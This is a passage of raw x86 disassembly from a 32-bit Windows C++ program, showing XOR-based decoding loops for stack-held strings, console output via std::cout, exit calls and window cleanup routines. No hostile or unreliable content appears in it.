paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, esi
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [edx - 4]
xorps xmm2, xmm0
movd dword [edx - 4], xmm2
cmp ecx, 0x28
jl 0x40d830
mov edi, dword [ebp - 0x540]
mov dword [ebp - 0x52c], ecx
cmp ecx, 0x2d
jge 0x40d954
mov eax, 0x4ec4ec4f
lea esi, [edi + ecx]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [esi], cl
mov ecx, dword [ebp - 0x52c]
inc ecx
mov dword [ebp - 0x52c], ecx
cmp ecx, 0x2d
jl 0x40d921
mov ecx, edi
call fcn.004078e0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
movaps xmm0, xmmword [0x499960]
lea edx, [ebp - 0x570]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmmword [ebp - 0x570], xmm0
mov dword [ebp - 0x550], 0xc1d082cf
movaps xmm0, xmmword [0x4997b0]
movups xmmword [ebp - 0x560], xmm0
mov dword [ebp - 0x54c], 0xdac2d0d7
mov word [ebp - 0x548], 0x100
call fcn.0040e230
push 0x410ea0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea eax, [ebp - 0x574]
push eax
lea ecx, [ebp - 0x5c2]
call fcn.0040e1c0
mov edi, eax
mov dword [ebp - 0x540], edi
cmp byte [edi + 0x2f], 0
je 0x40db63
xor ecx, ecx
cmp dword [0x5b5cf8], 2
mov dword [ebp - 0x530], ecx
jl 0x40db30
movaps xmm0, xmmword [0x499630]
mov eax, 4
movaps xmm4, xmmword [0x4995e0]
xor edx, edx
movaps xmm3, xmmword [0x4996a0]
sub eax, edi
movaps xmm5, xmmword [0x499610]
mov ecx, edi
movaps xmmword [ebp - 0x5c0], xmm0
mov edi, eax
mov esi, dword [ebp - 0x5c0]
mov dword [ebp - 0x5a0], eax
nop
movd xmm0, edx
lea eax, [edi + ecx]
pshufd xmm2, xmm0, 0
lea ecx, [ecx + 8]
paddd xmm2, xmm4
add edx, 8
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, esi
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ecx - 8]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ecx - 8], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, esi
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ecx - 4]
xorps xmm2, xmm0
movd dword [ecx - 4], xmm2
cmp edx, 0x30
jl 0x40da40
mov edi, dword [ebp - 0x540]
jmp 0x40db63
mov eax, 0x4ec4ec4f
lea esi, [edi + ecx]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [esi], cl
mov ecx, dword [ebp - 0x530]
inc ecx
mov dword [ebp - 0x530], ecx
cmp ecx, 0x30
jl 0x40db30
mov ecx, edi
call fcn.004078e0
mov dword [ebp - 0x5a0], 0x7d0
lea eax, [ebp - 0x5a0]
push eax
lea ecx, [ebp - 0x618]
call fcn.00410b20
mov ecx, eax
call fcn.00410b40
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
movaps xmm0, xmmword [0x499800]
lea edx, [ebp - 0x584]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmmword [ebp - 0x584], xmm0
mov dword [ebp - 0x554], 0xc6dcc0c3
movaps xmm0, xmmword [0x499810]
movups xmmword [ebp - 0x574], xmm0
mov dword [ebp - 0x550], 0xdcd8d595
movaps xmm0, xmmword [0x4998f0]
movups xmmword [ebp - 0x564], xmm0
mov dword [ebp - 0x54c], 0x9b80dc
mov byte [ebp - 0x548], 1
call fcn.0040e3b0
push 0x410ea0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebp - 0x5f0]
mov dword [ebp - 0x5f0], 0xa4a3a2a1
mov word [ebp - 0x5ec], 0x8f
mov byte [ebp - 0x5ea], 1
call fcn.0040e530
push 0x410ea0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
movaps xmm0, xmmword [0x499900]
lea edx, [ebp - 0x590]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmmword [ebp - 0x590], xmm0
mov dword [ebp - 0x550], 0xeaadb5ae
movaps xmm0, xmmword [0x499820]
movups xmmword [ebp - 0x580], xmm0
mov word [ebp - 0x54c], 0x100
movaps xmm0, xmmword [0x499870]
movups xmmword [ebp - 0x570], xmm0
movaps xmm0, xmmword [0x499710]
movups xmmword [ebp - 0x560], xmm0
call fcn.0040df90
push 0x410ea0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea eax, [ebp - 0x574]
push eax
lea ecx, [ebp - 0x5c2]
call fcn.0040e1c0
mov edi, eax
mov dword [ebp - 0x540], edi
cmp byte [edi + 0x2f], 0
je 0x40de53
xor ecx, ecx
cmp dword [0x5b5cf8], 2
mov dword [ebp - 0x530], ecx
jl 0x40de20
movaps xmm0, xmmword [0x499630]
mov eax, 4
movaps xmm4, xmmword [0x4995e0]
xor edx, edx
movaps xmm3, xmmword [0x4996a0]
sub eax, edi
movaps xmm5, xmmword [0x499610]
mov ecx, edi
movaps xmmword [ebp - 0x5c0], xmm0
mov edi, eax
mov esi, dword [ebp - 0x5c0]
mov dword [ebp - 0x5a0], eax
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edi + ecx]
pshufd xmm2, xmm0, 0
lea ecx, [ecx + 8]
paddd xmm2, xmm4
add edx, 8
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, esi
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ecx - 8]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ecx - 8], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, esi
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ecx - 4]
xorps xmm2, xmm0
movd dword [ecx - 4], xmm2
cmp edx, 0x30
jl 0x40dd20
mov edi, dword [ebp - 0x540]
mov ecx, edi
call fcn.004078e0
mov dword [ebp - 0x5a0], 0xbb8
jmp 0x40db74
mov eax, 0x4ec4ec4f
lea esi, [edi + ecx]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [esi], cl
mov ecx, dword [ebp - 0x530]
inc ecx
mov dword [ebp - 0x530], ecx
cmp ecx, 0x30
jl 0x40de20
mov ecx, edi
call fcn.004078e0
mov dword [ebp - 0x5a0], 0xbb8
jmp 0x40db74
mov dword [ebp - 0x98], 0x12
call fcn.004425d0
call fcn.00442ff0
mov esi, dword [0x5b5d98]
mov ecx, esi
call fcn.00418ef0
cmp dword [0x5b5d98], esi
jne 0x40de9c
mov dword [0x5b5d98], 0
mov ecx, esi
call fcn.00431830
call fcn.00406a00
push dword [0x5b5d58]
call dword [sym.imp.USER32.dll_DestroyWindow]
push dword [ebp - 0x448]
push dword [ebp - 0x434]
call dword [sym.imp.USER32.dll_UnregisterClassA]
mov ecx, 0x5b5fc0
call fcn.004017b0
lea ecx, [ebp - 0xfc]
call fcn.00401400
lea ecx, [ebp - 0x4b8]
call fcn.0040ec60
lea ecx, [ebp - 0x4b8]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
cmp dword [ebp - 0xa0], 0
je 0x40df01
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0044fd73
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret